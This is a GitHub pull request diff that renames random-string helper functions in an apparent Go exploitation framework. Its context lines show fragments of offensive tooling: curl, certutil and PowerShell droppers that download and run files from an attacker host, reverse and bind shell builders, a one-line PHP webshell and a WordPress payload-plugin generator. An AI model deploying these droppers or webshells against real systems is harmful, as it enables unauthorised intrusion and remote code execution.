Skip to content

Remove random package Random prefixes. #333

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Draft
wants to merge 1 commit into
base: main
Choose a base branch
from
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion c2/httpservefile/httpservefile.go
Original file line number Diff line number Diff line change
Expand Up @@ -144,7 +144,7 @@ func (httpServer *Server) Init(channel channel.Channel) bool {

hosted := HostedFile{
RealName: shortName,
RandomName: random.RandLetters(12),
RandomName: random.Letters(12),
FileData: fileData,
}

Expand Down
2 changes: 1 addition & 1 deletion encryption/certificate.go
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@ func GenerateCertificate() (tls.Certificate, bool) {

template := x509.Certificate{
SerialNumber: big.NewInt(8),
Subject: pkix.Name{CommonName: random.RandLetters(12)},
Subject: pkix.Name{CommonName: random.Letters(12)},
NotBefore: time.Now(),
NotAfter: time.Now().Add(24 * time.Hour),
BasicConstraintsValid: true,
Expand Down
4 changes: 2 additions & 2 deletions java/javaclass.go
Original file line number Diff line number Diff line change
Expand Up @@ -211,7 +211,7 @@ func ReverseShellBytecode(conf *config.Config) (string, string) {
"\x00\x00\x02\x00\x44"

classSize := make([]byte, 2)
classString := transform.Title(random.RandLettersRange(8, 17))
classString := transform.Title(random.LettersRange(8, 17))
binary.BigEndian.PutUint16(classSize, uint16(len(classString)))

ipSize := make([]byte, 2)
Expand Down Expand Up @@ -642,7 +642,7 @@ func ReverseShellScriptingEngineBytecode(conf *config.Config) (string, string) {
"\x00\x02\x00\x54"

classSize := make([]byte, 2)
classString := transform.Title(random.RandLettersRange(8, 17))
classString := transform.Title(random.LettersRange(8, 17))
binary.BigEndian.PutUint16(classSize, uint16(len(classString)))

ipSize := make([]byte, 2)
Expand Down
4 changes: 2 additions & 2 deletions payload/bindshell/netcat.go
Original file line number Diff line number Diff line change
Expand Up @@ -21,13 +21,13 @@ func (nc *NetcatPayload) Gaping(bport int) string {
}

func (nc *NetcatPayload) Mknod(bport int) string {
node := random.RandLetters(3)
node := random.Letters(3)

return fmt.Sprintf(NetcatMknod, node, bport, node, node, node)
}

func (nc *NetcatPayload) Mkfifo(bport int) string {
fifo := random.RandLetters(3)
fifo := random.Letters(3)

return fmt.Sprintf(NetcatMkfifo, fifo, bport, fifo, fifo, fifo)
}
2 changes: 2 additions & 0 deletions payload/dropper/dropper.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,11 +11,13 @@ type (
WindowsPayload struct{}
GroovyPayload struct{}
PHPPayload struct{}
PythonPayload struct{}
)

var (
Unix = &UnixPayload{}
Windows = &WindowsPayload{}
Groovy = &GroovyPayload{}
PHP = &PHPPayload{}
Python = &PythonPayload{}
)
4 changes: 2 additions & 2 deletions payload/dropper/unix.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ import (

// Download a remote file with curl, execute it, and delete it.
func (unix *UnixPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
output := "/tmp/" + random.RandLetters(3)
output := "/tmp/" + random.Letters(3)

if ssl {
return fmt.Sprintf("curl -kso %s https://%s:%d/%s && chmod +x %s && %s & rm -f %s",
Expand All @@ -21,7 +21,7 @@ func (unix *UnixPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFil

// Download a remote file with curl or wget, execute it, and delete it.
func (unix *UnixPayload) EitherHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
output := "/tmp/" + random.RandLetters(3)
output := "/tmp/" + random.Letters(3)
uri := fmt.Sprintf("%s:%d/%s", lhost, lport, downloadFile)

if ssl {
Expand Down
6 changes: 3 additions & 3 deletions payload/dropper/windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ import (

// Download a remote file with curl.exe, execute it, and delete it (after execution).
func (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
output := `%TEMP%\` + random.RandLetters(3) + ".exe"
output := `%TEMP%\` + random.Letters(3) + ".exe"

// NOTE: Can't delete a file in use
if ssl {
Expand All @@ -21,7 +21,7 @@ func (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadF

// Download a remote file with certutil.exe, execute it, and delete it (after execution).
func (win *WindowsPayload) CertutilHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
output := `%TEMP%\` + random.RandLetters(3) + ".exe"
output := `%TEMP%\` + random.Letters(3) + ".exe"

uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile)
if ssl {
Expand All @@ -35,7 +35,7 @@ func (win *WindowsPayload) CertutilHTTP(lhost string, lport int, ssl bool, downl
func (win *WindowsPayload) PowershellHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
// .NET method 'GetTempPath' instead relying on environment variables for better compatibility
// Details: https://learn.microsoft.com/en-us/dotnet/api/system.io.path.gettemppath
output := `"$([System.IO.Path]::GetTempPath())` + random.RandLetters(3) + `.exe"`
output := `"$([System.IO.Path]::GetTempPath())` + random.Letters(3) + `.exe"`
uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile)
if ssl {
uri = fmt.Sprintf("https://%s:%d/%s", lhost, lport, downloadFile)
Expand Down
4 changes: 2 additions & 2 deletions payload/fileplant/cron.go
Original file line number Diff line number Diff line change
Expand Up @@ -17,8 +17,8 @@ var Cron = &CronPayload{}
// return should be uploaded to "xploitPath" (e.g. /tmp/helloworld). The cron file will trigger
// execution of the bash script which will delete both the cron and itself. Example usage:
//
// cronPath := fmt.Sprintf("/etc/cron.d/%s", random.RandLetters(8))
// xploitPath := fmt.Sprintf("/tmp/%s", random.RandLetters(8))
// cronPath := fmt.Sprintf("/etc/cron.d/%s", random.Letters(8))
// xploitPath := fmt.Sprintf("/tmp/%s", random.Letters(8))
// xploit, ok := generatePayload(conf)
// if !ok {
// return false
Expand Down
2 changes: 1 addition & 1 deletion payload/reverse/netcat.go
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,7 @@ func (nc *NetcatPayload) Gaping(lhost string, lport int) string {

// Uses mknod to create a FIFO that redirects interactive shell through netcat and the FIFO.
func (nc *NetcatPayload) Mknod(lhost string, lport int) string {
node := random.RandLetters(3)
node := random.Letters(3)

return fmt.Sprintf(NetcatMknod, node, node, lhost, lport, node, node)
}
4 changes: 2 additions & 2 deletions payload/reverse/openssl.go
Original file line number Diff line number Diff line change
Expand Up @@ -17,13 +17,13 @@ func (openssl *OpenSSLPayload) Default(lhost string, lport int) string {
}

func (openssl *OpenSSLPayload) Mknod(lhost string, lport int) string {
node := random.RandLetters(3)
node := random.Letters(3)

return fmt.Sprintf(OpenSSLDefault, node, node, lhost, lport, node, node)
}

func (openssl *OpenSSLPayload) Mkfifo(lhost string, lport int) string {
fifo := random.RandLetters(3)
fifo := random.Letters(3)

return fmt.Sprintf(OpenSSLMkfifo, fifo, fifo, lhost, lport, fifo, fifo)
}
4 changes: 2 additions & 2 deletions payload/reverse/telnet.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ func (telnet *TelnetPayload) Default(lhost string, lport int, colon bool) string
}

func (telnet *TelnetPayload) Mknod(lhost string, lport int, colon bool) string {
node := random.RandLetters(3)
node := random.Letters(3)

if colon {
return fmt.Sprintf(TelnetMknod, node, node, lhost, lport, node, node)
Expand All @@ -29,7 +29,7 @@ func (telnet *TelnetPayload) Mknod(lhost string, lport int, colon bool) string {
}

func (telnet *TelnetPayload) Mkfifo(lhost string, lport int, colon bool) string {
fifo := random.RandLetters(3)
fifo := random.Letters(3)

if colon {
return fmt.Sprintf(TelnetMkfifo, fifo, lhost, lport, fifo, fifo, fifo)
Expand Down
2 changes: 1 addition & 1 deletion payload/webshell/php.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ import (
//
// shell, param := webshell.PHP.MinimalGet()
func (php *PHPWebshell) MinimalGet() (string, string) {
index := random.RandLetters(8)
index := random.Letters(8)

return fmt.Sprintf("<?=`$_GET[%s]`?>", index), index
}
8 changes: 4 additions & 4 deletions product/wordpress/plugins.go
Original file line number Diff line number Diff line change
Expand Up @@ -63,16 +63,16 @@ func GeneratePlugin(payload, name string) (string, []byte, bool) {
buf := new(bytes.Buffer)
w := zip.NewWriter(buf)

payloadName := random.RandLetters(10) + ".php"
payloadName := random.Letters(10) + ".php"
files := []struct {
Name, Body string
}{
{
name + ".php", fmt.Sprintf(pluginStub,
name, // Plugin name
random.RandDigits(2)+"."+random.RandDigits(2)+"."+random.RandDigits(2), // Version
random.RandLetters(10), // Author
"https://"+random.RandHex(10)+".org", // URI
random.Digits(2)+"."+random.Digits(2)+"."+random.Digits(2), // Version
random.Letters(10), // Author
"https://"+random.Hex(10)+".org", // URI
),
},
{payloadName, payload},
Expand Down
2 changes: 1 addition & 1 deletion product/wordpress/wordpress.go
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ func Login(conf *config.Config, username, password string) ([]*http.Cookie, bool
form.Add("pwd", password)
form.Add("wp-submit", "Login")
url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/"+LoginPath)
form.Add("redirect_to", url+"#"+random.RandLettersRange(10, 20))
form.Add("redirect_to", url+"#"+random.LettersRange(10, 20))
headers := map[string]string{
"Content-Type": "application/x-www-form-urlencoded",
}
Expand Down
2 changes: 1 addition & 1 deletion protocol/ajp/ajp.go
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@
// "/",
// }
//
// status, data, ok := ajp.SendAndRecv(conf.Rhost, conf.Rport, conf.SSL, "/"+random.RandLetters(12), "GET", []string{}, attributes)
// status, data, ok := ajp.SendAndRecv(conf.Rhost, conf.Rport, conf.SSL, "/"+random.Letters(12), "GET", []string{}, attributes)
// if !ok {
// return false
// }
Expand Down
48 changes: 24 additions & 24 deletions random/random.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,8 +11,8 @@ var (
digits = []rune("0123456789")
)

// RandIntRange generates an `int` between [min,max).
func RandIntRange(rangeMin int, rangeMax int) int {
// IntRange generates an `int` between [min,max).
func IntRange(rangeMin int, rangeMax int) int {
rangeMaxBig := big.NewInt(int64(rangeMax) - int64(rangeMin))
n, err := rand.Int(rand.Reader, rangeMaxBig)
if err != nil {
Expand All @@ -22,8 +22,8 @@ func RandIntRange(rangeMin int, rangeMax int) int {
return int(n.Int64() + int64(rangeMin))
}

// RandPositiveInt generates a non-negative crypto-random number in the half-open interval [0,max).
func RandPositiveInt(rangeMax int) int {
// PositiveInt generates a non-negative crypto-random number in the half-open interval [0,max).
func PositiveInt(rangeMax int) int {
n, err := rand.Int(rand.Reader, big.NewInt(int64(rangeMax)))
if err != nil {
panic(err)
Expand All @@ -32,19 +32,19 @@ func RandPositiveInt(rangeMax int) int {
return int(n.Int64())
}

// RandLetters generates a random alpha string of length n.
func RandLetters(n int) string {
// Letters generates a random alpha string of length n.
func Letters(n int) string {
runeSlice := make([]rune, n)
for i := range runeSlice {
runeSlice[i] = letters[RandPositiveInt(len(letters))]
runeSlice[i] = letters[PositiveInt(len(letters))]
}

return string(runeSlice)
}

// RandLetters generates a random alpha string with no bad chars of length n.
// Letters generates a random alpha string with no bad chars of length n.
// This will return an empty string if the caller badchars all "letters".
func RandLettersNoBadChars(n int, badchars []rune) string {
func LettersNoBadChars(n int, badchars []rune) string {
// rebuild the letters slice without the bad chars. O(n^2) implementation
// not really sure it is worthwhile to get more fancy :shrug:
var nobad []rune
Expand All @@ -66,48 +66,48 @@ func RandLettersNoBadChars(n int, badchars []rune) string {

runeSlice := make([]rune, n)
for i := range runeSlice {
runeSlice[i] = nobad[RandPositiveInt(len(nobad))]
runeSlice[i] = nobad[PositiveInt(len(nobad))]
}

return string(runeSlice)
}

// RandLettersRange generates a random alpha string of length [min,max).
func RandLettersRange(rangeMin int, rangeMax int) string {
return RandLetters(RandIntRange(rangeMin, rangeMax-1))
// LettersRange generates a random alpha string of length [min,max).
func LettersRange(rangeMin int, rangeMax int) string {
return Letters(IntRange(rangeMin, rangeMax-1))
}

func RandHex(n int) string {
func Hex(n int) string {
runeSlice := make([]rune, n)
for i := range runeSlice {
runeSlice[i] = hex[RandPositiveInt(len(hex))]
runeSlice[i] = hex[PositiveInt(len(hex))]
}

return string(runeSlice)
}

// RandHexRange generates a random hex string of length [min,max).
func RandHexRange(rangeMin int, rangeMax int) string {
return RandHex(RandIntRange(rangeMin, rangeMax-1))
// HexRange generates a random hex string of length [min,max).
func HexRange(rangeMin int, rangeMax int) string {
return Hex(IntRange(rangeMin, rangeMax-1))
}

func RandDigits(n int) string {
func Digits(n int) string {
runeSlice := make([]rune, n)
for i := range runeSlice {
runeSlice[i] = digits[RandPositiveInt(len(digits))]
runeSlice[i] = digits[PositiveInt(len(digits))]
}

// keep assigning a new digit until the first one isn't 0'
if len(runeSlice) > 0 {
for runeSlice[0] == '0' {
runeSlice[0] = digits[RandPositiveInt(len(digits))]
runeSlice[0] = digits[PositiveInt(len(digits))]
}
}

return string(runeSlice)
}

// RandDigitsRange generates a random numeric string of length [min,max).
func RandDigitsRange(rangeMin int, rangeMax int) string {
return RandDigits(RandIntRange(rangeMin, rangeMax))
// DigitsRange generates a random numeric string of length [min,max).
func DigitsRange(rangeMin int, rangeMax int) string {
return Digits(IntRange(rangeMin, rangeMax))
}
Loading